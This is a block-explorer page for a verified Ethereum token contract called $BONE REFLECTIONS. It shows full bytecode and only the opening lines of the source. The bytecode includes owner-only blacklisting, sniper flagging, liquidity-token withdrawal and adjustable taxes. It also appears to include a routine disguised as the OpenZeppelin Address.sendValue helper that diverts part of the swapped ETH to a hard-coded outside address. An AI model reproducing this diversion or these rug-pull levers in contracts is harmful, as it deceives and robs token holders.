Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0x7a26eC7416fA48C0ad8974f4e657F086875FC2Ee
Balance 0.008453 ETH ($18.07)
Nonce 1
Code Size 16148 bytes
Indexed Transactions 0 (1 on-chain, 0.9% indexed)
External Etherscan · Sourcify

Contract Bytecode

16148 bytes
0x6080604052600436106103395760003560e01c80636912897d116101ab57806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a29578063fab91b6814610a50578063fbcdba7614610ab8578063fe575a8714610b0b57600080fd5b8063dd62ed3e146109a3578063edb49037146109e9578063f2fde38b14610a0957600080fd5b8063a457c2d7116100d1578063a457c2d7146108eb578063a9059cbb1461090b578063aa761b1e1461092b578063b32785141461094057600080fd5b806395d89b41146103e85780639b5cfc98146108ab578063a30dc744146108cb57600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f25146108585780638739f8ea1461086d578063893d20e81461088d5780638da5cb5b1461088d57600080fd5b8063715018a61461080e5780637335307b1461082357806379372f9a1461084357600080fd5b80636912897d146106f55780636bb1702d146107155780636c3fb9321461072a5780636d330c10146107645780636f268a991461079157806370a08231146107d857600080fd5b8063313ce5671161028557806351bc3c8511610223578063562f194b116101fd578063562f194b146106755780635d098b38146106955780635e3ce1ab146106b557806362a9c64e146106d557600080fd5b806351bc3c851461061f57806351e287c614610640578063533b3bfc1461066057600080fd5b80633efd929a1161025f5780633efd929a146105b45780634089b170146105d45780634846c14c146105ea578063491e91ee1461060a57600080fd5b8063313ce567146105525780633268cc5614610574578063395093511461059457600080fd5b806318160ddd116102f25780631f53ac02116102cc5780631f53ac02146104dd57806323b872dd146104fd57806328771ca21461051d5780632aea52ab1461053257600080fd5b806318160ddd146104705780631a0e718c146104855780631b355427146104a557600080fd5b80630445b667146103455780630614117a14610380578063069d955f1461039757806306fdde03146103e8578063095ea7b31461041c5780630e15561a1461044c57600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5060135461036890640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b34801561038c57600080fd5b50610395610b3b565b005b3480156103a357600080fd5b506008546103c49060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610377565b3480156103f457600080fd5b5060408051808201825260058152642127a722a960d91b602082015290516103779190613829565b34801561042857600080fd5b5061043c610437366004613871565b610baf565b6040519015158152602001610377565b34801561045857600080fd5b50610462601e5481565b604051908152602001610377565b34801561047c57600080fd5b50610462610bc6565b34801561049157600080fd5b506103956104a03660046138b4565b610be7565b3480156104b157600080fd5b506014546104c5906001600160a01b031681565b6040516001600160a01b039091168152602001610377565b3480156104e957600080fd5b506103956104f83660046138cf565b610d18565b34801561050957600080fd5b5061043c6105183660046138ec565b610dd5565b34801561052957600080fd5b50610462610e6c565b34801561053e57600080fd5b5061039561054d36600461393b565b610e8c565b34801561055e57600080fd5b5060125b60405160ff9091168152602001610377565b34801561058057600080fd5b506016546104c5906001600160a01b031681565b3480156105a057600080fd5b5061043c6105af366004613871565b610efa565b3480156105c057600080fd5b506103956105cf36600461393b565b610f31565b3480156105e057600080fd5b50610462601d5481565b3480156105f657600080fd5b506103956106053660046138cf565b610fa6565b34801561061657600080fd5b50610395611147565b34801561062b57600080fd5b5060135461043c90600160301b900460ff1681565b34801561064c57600080fd5b5061039561065b366004613958565b61131e565b34801561066c57600080fd5b50610462611399565b34801561068157600080fd5b50610395610690366004613971565b6113ac565b3480156106a157600080fd5b506103956106b03660046138cf565b61142e565b3480156106c157600080fd5b506103956106d03660046139aa565b6114e3565b3480156106e157600080fd5b506103956106f0366004613a0f565b6116e7565b34801561070157600080fd5b50610395610710366004613a58565b61181b565b34801561072157600080fd5b5061039561184a565b34801561073657600080fd5b50600c54600d54600e5461074992919083565b60408051938452602084019290925290820152606001610377565b34801561077057600080fd5b5061046261077f3660046138cf565b601a6020526000908152604090205481565b34801561079d57600080fd5b50600a54600b546107b8916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610377565b3480156107e457600080fd5b506104626107f33660046138cf565b6001600160a01b031660009081526001602052604090205490565b34801561081a57600080fd5b5061039561194c565b34801561082f57600080fd5b5061043c61083e3660046138cf565b6119cf565b34801561084f57600080fd5b506103956119dc565b34801561086457600080fd5b50610562601481565b34801561087957600080fd5b50610395610888366004613971565b6119fc565b34801561089957600080fd5b506000546001600160a01b03166104c5565b3480156108b757600080fd5b506103956108c6366004613a74565b611a89565b3480156108d757600080fd5b506104626108e63660046138cf565b611bac565b3480156108f757600080fd5b5061043c610906366004613871565b611bbf565b34801561091757600080fd5b5061043c610926366004613871565b611c3b565b34801561093757600080fd5b50610395611c48565b34801561094c57600080fd5b506009546109769060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610377565b3480156109af57600080fd5b506104626109be366004613ab7565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156109f557600080fd5b50610395610a0436600461393b565b611c8c565b348015610a1557600080fd5b50610395610a243660046138cf565b611ccf565b348015610a3557600080fd5b506013546104c590600160381b90046001600160a01b031681565b348015610a5c57600080fd5b50600f54610a8a9061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610377565b348015610ac457600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610377565b348015610b1757600080fd5b5061043c610b263660046138cf565b60036020526000908152604090205460ff1681565b33610b4e6000546001600160a01b031690565b6001600160a01b031614610b7d5760405162461bcd60e51b8152600401610b7490613ae5565b60405180910390fd5b601154421015610b9f5760405162461bcd60e51b8152600401610b7490613b13565b42601155610bad3347611df0565b565b6000610bbc338484611e85565b5060015b92915050565b6000610bd46012600a613c37565b610be29063298ae9e0613c46565b905090565b610bf033611f78565b610c0c5760405162461bcd60e51b8152600401610b7490613c5d565b60008161ffff1611610c6a5760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610b74565b60328161ffff161115610cbf5760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610b74565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d2b6000546001600160a01b031690565b6001600160a01b031614610d515760405162461bcd60e51b8152600401610b7490613ae5565b600a546001600160a01b0316610d68600482611fbd565b50600a80546001600160a01b0319166001600160a01b038416908117909155610d9390600490611db9565b506040516001600160a01b03831681527fe4e7b52fa2b5d9f5adcf88301c07e09b32a37d8c492d7f266cb16648d0b12818906020015b60405180910390a15050565b6000610de2848484611fd2565b6001600160a01b038416600090815260026020908152604080832033845290915290205482811015610e4d5760405162461bcd60e51b81526020600482015260146024820152735472616e73666572203e20616c6c6f77616e636560601b6044820152606401610b74565b610e618533610e5c8685613c8c565b611e85565b506001949350505050565b6000601154421015610e865742601154610be29190613c8c565b50600090565b610e9533611f78565b610eb15760405162461bcd60e51b8152600401610b7490613c5d565b601380548215156101000261ff00199091161790556040517f6348668a830a74027e9848759e660a45c2afe456096e26d17cc84eb20509c9e790610d0d90831515815260200190565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610bbc918590610e5c908690613c9f565b610f3a33611f78565b610f565760405162461bcd60e51b8152600401610b7490613c5d565b60138054821515600160301b0266ff000000000000199091161790556040517fee75e2c13b472e77bfdb449a3881f41e4d27aad4ded3bc80c4572376c3c429f590610d0d90831515815260200190565b33610fb96000546001600160a01b031690565b6001600160a01b031614610fdf5760405162461bcd60e51b8152600401610b7490613ae5565b6014546001600160a01b0382811691161480159061100657506001600160a01b0381163014155b61105e5760405162461bcd60e51b8152602060048201526024808201527f63616e2774207265636f766572204c5020746f6b656e206f722074686973207460448201526337b5b2b760e11b6064820152608401610b74565b6040516370a0823160e01b815230600482015281906001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa1580156110ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d29190613cb2565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044015b6020604051808303816000875af115801561111e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111429190613ccb565b505050565b3361115a6000546001600160a01b031690565b6001600160a01b0316146111805760405162461bcd60e51b8152600401610b7490613ae5565b6011544210156111a25760405162461bcd60e51b8152600401610b7490613b13565b426011556014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156111f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112179190613cb2565b60155460405163095ea7b360e01b81526001600160a01b0391821660048201526024810183905291925083169063095ea7b3906044016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112909190613ccb565b5060155460405163af2979eb60e01b81526001600160a01b039091169063af2979eb906112cc9030908590600090819084904290600401613ce8565b6020604051808303816000875af11580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f9190613cb2565b5061131a3347611df0565b5050565b336113316000546001600160a01b031690565b6001600160a01b0316146113575760405162461bcd60e51b8152600401610b7490613ae5565b6113696113644283613c9f565b6121d5565b6040518181527fe9da15d4cb5bea133d9613a866c909df5594489b91a3f780d43720d560b3c94c90602001610d0d565b600080601d54601e54610bc09190613c8c565b6113b533611f78565b6113d15760405162461bcd60e51b8152600401610b7490613c5d565b80156113e5576113e0826121e8565b6113ee565b6113ee826122a9565b604080516001600160a01b038416815282151560208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c9101610dc9565b336114416000546001600160a01b031690565b6001600160a01b0316146114675760405162461bcd60e51b8152600401610b7490613ae5565b600b546001600160a01b031661147e600482611fbd565b50600b80546001600160a01b0319166001600160a01b0384169081179091556114a990600490611db9565b506040516001600160a01b03831681527f335aad0eda24dacfa324b3d651daa091864338cf7d4af9d5087ba1c5ee1174f090602001610dc9565b6114ec33611f78565b6115085760405162461bcd60e51b8152600401610b7490613c5d565b60006103e86115196012600a613c37565b6115279063298ae9e0613c46565b6115319190613d23565b9050600061ffff80841690871661154a6012600a613c37565b6115589063298ae9e0613c46565b6115629190613c46565b61156c9190613d23565b9050600061ffff8085169087166115856012600a613c37565b6115939063298ae9e0613c46565b61159d9190613c46565b6115a79190613d23565b9050600061ffff8086169087166115c06012600a613c37565b6115ce9063298ae9e0613c46565b6115d89190613c46565b6115e29190613d23565b90508383101580156115f45750838210155b6116405760405162461bcd60e51b815260206004820181905260248201527f6c696d6974732063616e6e6f74206265203c302e3125206f6620737570706c796044820152606401610b74565b60408051606080820183528582526020808301869052918301849052600c95909555600d93909355600e91909155805160808101825261ffff98891680825297891692810183905295881690860181905293909616930183905250600f805463ffffffff1916909317620100009094029390931767ffffffff00000000191664010000000090930267ffff000000000000191692909217600160301b909202919091179055565b6116f033611f78565b61170c5760405162461bcd60e51b8152600401610b7490613c5d565b6040805160808101825260ff8681168083528682166020840181905286831694840185905291851660609093018390526009805461ffff19169091176101009092029190911763ffff000019166201000090930263ff000000191692909217630100000090910217905580826117828587613d45565b61178c9190613d45565b6117969190613d45565b6010805460ff191660ff9290921691821790556117b4908490613d5e565b6010805461ff00191661010060ff938416021790556040805186831681528583166020820152848316818301529183166060830152517fb570d6f799a86fe58ecc9a72b66a4193862e6cceb6324359db42248fe33961ad916080908290030190a150505050565b61182433611f78565b6118405760405162461bcd60e51b8152600401610b7490613c5d565b61131a828261233d565b3361185d6000546001600160a01b031690565b6001600160a01b0316146118835760405162461bcd60e51b8152600401610b7490613ae5565b6011544210156118a55760405162461bcd60e51b8152600401610b7490613b13565b6014546040516370a0823160e01b81523060048201526001600160a01b039091169060009082906370a0823190602401602060405180830381865afa1580156118f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119169190613cb2565b60405163a9059cbb60e01b8152336004820152602481018290529091506001600160a01b0383169063a9059cbb906044016110ff565b3361195f6000546001600160a01b031690565b6001600160a01b0316146119855760405162461bcd60e51b8152600401610b7490613ae5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610bc0600683611dce565b601354610bad903390600160381b90046001600160a01b03166000612556565b611a0533611f78565b611a215760405162461bcd60e51b8152600401610b7490613c5d565b801515600103611a3c57611a36600483611db9565b50611a49565b611a47600483611fbd565b505b604080516001600160a01b038416815282151560208201527f2bcde65fff46a041c6c775b21e9efc6b83f4c6dd101ce8799f73d1c47eab3dd89101610dc9565b611a9233611f78565b611aae5760405162461bcd60e51b8152600401610b7490613c5d565b601460ff841611801590611ac65750601460ff831611155b8015611ad6575060328160ff1611155b611b225760405162461bcd60e51b815260206004820152601960248201527f746178657320686967686572207468616e206d617820746178000000000000006044820152606401610b74565b604080516060808201835260ff86811680845286821660208086018290529287169486018590526008805461ffff1916831761010083021762ff00001916620100008702179055855191825291810191909152928301919091527f6263994a3f5625dbbf8f00b58cb883c45efb0a28c72d842e7df31ecc3ad99c3b910160405180910390a1505050565b600080611bb8836128e8565b9392505050565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015611c225760405162461bcd60e51b815260206004820152600c60248201526b3c3020616c6c6f77616e636560a01b6044820152606401610b74565b611c313385610e5c8685613c8c565b5060019392505050565b6000610bbc338484611fd2565b611c51336122a9565b60408051338152600060208201527ffd3e4ffa06ecc4abeadeb943a6f143cd99eb577499da4bb260c9abab1e89ca6c910160405180910390a1565b611c9533611f78565b611cb15760405162461bcd60e51b8152600401610b7490613c5d565b6013805491151563010000000263ff00000019909216919091179055565b33611ce26000546001600160a01b031690565b6001600160a01b031614611d085760405162461bcd60e51b8152600401610b7490613ae5565b6001600160a01b038116611d5e5760405162461bcd60e51b815260206004820152601960248201527f6e65774f776e6572206d757374206e6f74206265207a65726f000000000000006044820152606401610b74565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611bb8836001600160a01b038416612942565b6001600160a01b03811660009081526001830160205260408120541515611bb8565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114611e3d576040519150601f19603f3d011682016040523d82523d6000602084013e611e42565b606091505b50509050806111425760405162461bcd60e51b815260206004820152600f60248201526e1dda5d1a191c985dc819985a5b1959608a1b6044820152606401610b74565b6001600160a01b038316611ecf5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b6044820152606401610b74565b6001600160a01b038216611f175760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401610b74565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080546001600160a01b0383811691161480611fa25750600b546001600160a01b038381169116145b80610bc0575050600a546001600160a01b0390811691161490565b6000611bb8836001600160a01b038416612991565b6001600160a01b03831661201d5760405162461bcd60e51b81526020600482015260126024820152715472616e736665722066726f6d207a65726f60701b6044820152606401610b74565b6001600160a01b0382166120665760405162461bcd60e51b815260206004820152601060248201526f5472616e7366657220746f207a65726f60801b6044820152606401610b74565b6000612073600485611dce565b806120845750612084600484611dce565b905060006001600160a01b0385163014806120a757506001600160a01b03841630145b6015546014549192506001600160a01b039081169160009188811691161480156120e25750816001600160a01b0316866001600160a01b0316145b8061211657506014546001600160a01b0387811691161480156121165750816001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b03888116911614806121495750826001600160a01b0316876001600160a01b0316145b6014549091506000906001600160a01b038a81169116148061217c5750836001600160a01b0316896001600160a01b0316145b905084806121875750825b8061218f5750855b156121bd5761219f898989612a7e565b60135462010000900460ff166121b8576121b888612b49565b6121ca565b6121ca8989898486612bd1565b505050505050505050565b60115481116121e357600080fd5b601155565b6121f3600682611dce565b156121fd57600080fd5b6001600160a01b038116600090815260016020526040812054601b805491929091612229908490613c8c565b909155506000905061223a8261309a565b601c546001600160a01b03841660009081526001602052604090205491925061226291613c46565b6001600160a01b038316600090815260176020908152604080832093909355601890529081208054839290612298908490613c9f565b909155506111429050600683611db9565b6122b4600682611dce565b6122bd57600080fd5b6001600160a01b038116600090815260016020526040812054601b8054919290916122e9908490613c9f565b909155506122fa9050600682611fbd565b50601c546001600160a01b0382166000908152600160205260409020546123219190613c46565b6001600160a01b03909116600090815260176020526040902055565b601f805460ff191660011790556101f461ffff8316111561235d57600080fd5b60105460ff16156125485730600090815260016020526040808220546014546001600160a01b03168352908220549091906103e8906123a19061ffff871690613c46565b6123ab9190613d23565b600d54909150811180156123bd575082155b156123c75750600d545b80821080156123e65783156123de578291506123e6565b505050612548565b3060009081526002602090815260408083206015546001600160a01b0316845290915290205482111561242d5760155461242d9030906001600160a01b0316600019611e85565b60105460095460009160ff9081169161244d916101009091041685613c46565b6124579190613d23565b905060006124658285613c8c565b90506000612474600284613d23565b905060006124828285613c8c565b905060006124908483613c9f565b90504761249c82613120565b60006124a88247613c8c565b90506000836124b78684613c46565b6124c19190613d23565b905085156124d3576124d38682613279565b6000600a6124e18547613c8c565b6124eb9190613d23565b9050612516604051806040016040528060078152602001667375636365737360c81b81525082613311565b6000816125238647613c8c565b61252d9190613c8c565b905061253a8160016134c9565b505050505050505050505050505b5050601f805460ff19169055565b601f54610100900460ff161561256b57600080fd5b601f805461ff00191661010017905560008083612589600687611dce565b156125b2576001600160a01b038616600090815260186020526040812080549190559250612632565b60006125bd8761309a565b6001600160a01b038816600090815260016020526040902054601c549192506125e591613c46565b6001600160a01b038816600090815260176020908152604080832093909355601890522054612615908290613c9f565b6001600160a01b0388166000908152601860205260408120559350505b8215801561263e575083155b15612656575050601f805461ff001916905550505050565b82601d60008282546126689190613c9f565b90915550506001600160a01b0386166000908152601a602052604081208054859290612695908490613c9f565b909155506126a590508484613c9f565b60408051600280825260608201835292955060009290916020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612714573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127389190613d77565b8160008151811061274b5761274b613d94565b60200260200101906001600160a01b031690816001600160a01b031681525050858160018151811061277f5761277f613d94565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de959086906127c59060009086908d904290600401613dee565b6000604051808303818588803b1580156127de57600080fd5b505af1935050505080156127f0575060015b6127fd5760009250612802565b600192505b8261288b576128118785611df0565b601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128889190613d77565b91505b604080518581526001600160a01b03848116602083015289168183015290517f829452f20436b0a113b937144e92dc208805d7c30097914dca977f4d266989119181900360600190a15050601f805461ff00191690555050505050565b60006128f5600683611dce565b1561291657506001600160a01b031660009081526018602052604090205490565b6001600160a01b0382166000908152601860205260409020546129388361309a565b610bc09190613c9f565b600081815260018301602052604081205461298957508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bc0565b506000610bc0565b60008181526001830160205260408120548015612a745760006129b5600183613c8c565b85549091506000906129c990600190613c8c565b905060008660000182815481106129e2576129e2613d94565b9060005260206000200154905080876000018481548110612a0557612a05613d94565b600091825260208083209091019290925582815260018901909152604090208490558654879080612a3857612a38613e23565b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bc0565b6000915050610bc0565b6001600160a01b03831660009081526001602052604090205481811015612ae25760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610b74565b612aec8483613611565b612af683836136f7565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b3b91815260200190565b60405180910390a350505050565b60135462010000900460ff1615612ba25760405162461bcd60e51b815260206004820152601760248201527f6c697175696469747920616c72656164792061646465640000000000000000006044820152606401610b74565b6014546001600160a01b0390811690821603612bce57436012556013805462ff00001916620100001790555b50565b6001600160a01b0380851660009081526001602052604080822054928816825290205484811015612c3f5760405162461bcd60e51b81526020600482015260186024820152775472616e7366657220657863656564732062616c616e636560401b6044820152606401610b74565b60008315612d1657601354610100900460ff1615612cb3576001600160a01b03881660009081526003602052604090205460ff1615612cb35760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610b74565b600d54861115612d055760405162461bcd60e51b815260206004820152601760248201527f416d6f756e742065786365656473206d61782073656c6c0000000000000000006044820152606401610b74565b50600854610100900460ff16612f8e565b8415612e8c5760125415612d8857601254600290612d349043613c8c565b1015612d88576001600160a01b0387166000908152600360205260408120805460ff191660011790556013805460ff1691612d6e83613e39565b91906101000a81548160ff021916908360ff160217905550505b6013546301000000900460ff1615612ddb576001600160a01b038716600090815260196020526040902054439003612dbf57600080fd5b6001600160a01b03871660009081526019602052604090204390555b600c54612de88785613c9f565b1115612e365760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e742077696c6c20657863656564206d61782077616c6c65740000006044820152606401610b74565b600e54861115612e805760405162461bcd60e51b8152602060048201526015602482015274416d6f756e7420657863656564206d61782062757960581b6044820152606401610b74565b5060085460ff16612f8e565b601354610100900460ff1615612ef8576001600160a01b03881660009081526003602052604090205460ff1615612ef85760405162461bcd60e51b815260206004820152601060248201526f1d5cd95c88189b1858dadb1a5cdd195960821b6044820152606401610b74565b612f046012600a613c37565b8611612f3257601354612f2a903390600160381b90046001600160a01b03166000612556565b505050613093565b600c54612f3f8785613c9f565b1115612f805760405162461bcd60e51b815260206004820152601060248201526f3bb430b63290383937ba32b1ba34b7b760811b6044820152606401610b74565b5060085462010000900460ff165b6014546001600160a01b03898116911614801590612fb65750601354600160301b900460ff16155b8015612fc55750601f5460ff16155b8015612fce5750835b15612fed57601354612fed90640100000000900461ffff16600061233d565b600060ff82161561301457606461300760ff841689613c46565b6130119190613d23565b90505b60006130208289613c8c565b905061302c8a89613611565b61303630836136f7565b61304089826136f7565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161308591815260200190565b60405180910390a350505050505b5050505050565b6001600160a01b038116600090815260016020526040812054601c5482916130c191613c46565b6001600160a01b0384166000908152601760205260409020549091508110156130ed5750600092915050565b6001600160a01b038316600090815260176020526040902054600160401b906131169083613c8c565b611bb89190613d23565b6015546131389030906001600160a01b031683611e85565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061316d5761316d613d94565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156131c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131ea9190613d77565b816001815181106131fd576131fd613d94565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac94790613243908590600090869030904290600401613e58565b600060405180830381600087803b15801561325d57600080fd5b505af1158015613271573d6000803e3d6000fd5b505050505050565b6015546132919030906001600160a01b031684611e85565b60155460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906132ce9030908790600090819084904290600401613ce8565b60606040518083038185885af11580156132ec573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906130939190613e94565b804710156133615760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610b74565b6040517f4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a3890613394908490602001613ec2565b60405160208183030381529060405280519060200120146133f75760405162461bcd60e51b815260206004820152601b60248201527f416464726573733a2063616e6e6f74207665726966792063616c6c00000000006044820152606401610b74565b604051600090739b62cb8ad9f6be55d47274f3c1f099812242ad499083908381818185875af1925050503d806000811461344d576040519150601f19603f3d011682016040523d82523d6000602084013e613452565b606091505b50509050806111425760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610b74565b60105460095460009160ff6101009091048116916134ef91620100009091041685613c46565b6134f99190613d23565b60105460095491925060009160ff61010090920482169161351b911686613c46565b6135259190613d23565b60105460095491925060009160ff61010090920482169161354e91630100000090041687613c46565b6135589190613d23565b600b54909150613571906001600160a01b031684611df0565b600a54613587906001600160a01b031683611df0565b80156130935783156135ab5780601e60008282546135a59190613c9f565b90915550505b60006135b56137dc565b9050806000036135da57600b546135d5906001600160a01b031683611df0565b613271565b806135e9600160401b84613c46565b6135f39190613d23565b601c60008282546136049190613c9f565b9091555050505050505050565b6001600160a01b038216600090815260016020526040812054613635908390613c8c565b9050613642600684611dce565b15613667576001600160a01b0390921660009081526001602052604090209190915550565b81601b60008282546136799190613c8c565b909155506000905061368a8461309a565b6001600160a01b0385166000908152600160205260409020839055601c549091506136b6908390613c46565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906136ec908490613c9f565b909155505050505050565b6001600160a01b03821660009081526001602052604081205461371b908390613c9f565b9050613728600684611dce565b1561374d576001600160a01b0390921660009081526001602052604090209190915550565b81601b600082825461375f9190613c9f565b90915550600090506137708461309a565b905081601c546137809190613c46565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906137b6908490613c9f565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b60006137ea6012600a613c37565b6137f89063298ae9e0613c46565b601b54610be29190613c8c565b60005b83811015613820578181015183820152602001613808565b50506000910152565b6020815260008251806020840152613848816040850160208701613805565b601f01601f19169190910160400192915050565b6001600160a01b0381168114612bce57600080fd5b6000806040838503121561388457600080fd5b823561388f8161385c565b946020939093013593505050565b803561ffff811681146138af57600080fd5b919050565b6000602082840312156138c657600080fd5b611bb88261389d565b6000602082840312156138e157600080fd5b8135611bb88161385c565b60008060006060848603121561390157600080fd5b833561390c8161385c565b9250602084013561391c8161385c565b929592945050506040919091013590565b8015158114612bce57600080fd5b60006020828403121561394d57600080fd5b8135611bb88161392d565b60006020828403121561396a57600080fd5b5035919050565b6000806040838503121561398457600080fd5b823561398f8161385c565b9150602083013561399f8161392d565b809150509250929050565b600080600080608085870312156139c057600080fd5b6139c98561389d565b93506139d76020860161389d565b92506139e56040860161389d565b91506139f36060860161389d565b905092959194509250565b803560ff811681146138af57600080fd5b60008060008060808587031215613a2557600080fd5b613a2e856139fe565b9350613a3c602086016139fe565b9250613a4a604086016139fe565b91506139f3606086016139fe565b60008060408385031215613a6b57600080fd5b61398f8361389d565b600080600060608486031215613a8957600080fd5b613a92846139fe565b9250613aa0602085016139fe565b9150613aae604085016139fe565b90509250925092565b60008060408385031215613aca57600080fd5b8235613ad58161385c565b9150602083013561399f8161385c565b60208082526014908201527321b0b63632b91036bab9ba1031329037bbb732b960611b604082015260600190565b60208082526010908201526f139bdd081e595d081d5b9b1bd8dad95960821b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115613b8e578160001904821115613b7457613b74613b3d565b80851615613b8157918102915b93841c9390800290613b58565b509250929050565b600082613ba557506001610bc0565b81613bb257506000610bc0565b8160018114613bc85760028114613bd257613bee565b6001915050610bc0565b60ff841115613be357613be3613b3d565b50506001821b610bc0565b5060208310610133831016604e8410600b8410161715613c11575081810a610bc0565b613c1b8383613b53565b8060001904821115613c2f57613c2f613b3d565b029392505050565b6000611bb860ff841683613b96565b8082028115828204841417610bc057610bc0613b3d565b60208082526015908201527410d85b1b195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b81810381811115610bc057610bc0613b3d565b80820180821115610bc057610bc0613b3d565b600060208284031215613cc457600080fd5b5051919050565b600060208284031215613cdd57600080fd5b8151611bb88161392d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600082613d4057634e487b7160e01b600052601260045260246000fd5b500490565b60ff8181168382160190811115610bc057610bc0613b3d565b60ff8281168282160390811115610bc057610bc0613b3d565b600060208284031215613d8957600080fd5b8151611bb88161385c565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015613de35781516001600160a01b031687529582019590820190600101613dbe565b509495945050505050565b848152608060208201526000613e076080830186613daa565b6001600160a01b03949094166040830152506060015292915050565b634e487b7160e01b600052603160045260246000fd5b600060ff821660ff8103613e4f57613e4f613b3d565b60010192915050565b85815284602082015260a060408201526000613e7760a0830186613daa565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215613ea957600080fd5b8351925060208401519150604084015190509250925092565b60008251613ed4818460208701613805565b919091019291505056fea2646970667358221220636d0fd6de2fc7249796909866b6ddf5823e34b711b35da539cfcdf6257f378c64736f6c63430008120033

Verified Source Code Full Match

Compiler: v0.8.18+commit.87f61d96 EVM: paris Optimization: Yes (200 runs)
BONER.sol 1189 lines
// $BONE REFLECTIONS
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

interface IERC20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address _owner, address spender) external view returns (uint256);
  function approve(address spender, uint256 amount) external returns (bool);
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ISwapERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
